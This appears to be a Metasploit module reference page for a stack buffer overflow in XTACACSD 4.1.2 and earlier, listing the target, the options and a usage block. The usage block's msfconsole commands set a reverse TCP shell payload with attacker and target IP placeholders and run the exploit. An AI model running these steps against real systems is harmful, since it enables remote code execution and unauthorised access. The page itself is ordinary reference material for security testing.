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XTACACSD <= 4.1.2 report() Buffer Overflow

This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long username, an attacker may be able to execute arbitrary code.


Rank

  • Average

Authors

  • MC < mc [at] metasploit.com >

References


Exploit Targets

  • 0 - FreeBSD 6.2-Release Bruteforce (default)

Development


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Usage Information

$ msfconsole

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msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show payloads
msf exploit(xtacacsd_report) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(xtacacsd_report) > set LHOST [MY IP ADDRESS]
msf exploit(xtacacsd_report) > set RHOST [TARGET IP]
msf exploit(xtacacsd_report) > exploit


Module Options

RHOST The target address
RPORT The target port (default: 49)
BruteStep Step size between brute force attempts
BruteWait Delay between brute force attempts
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session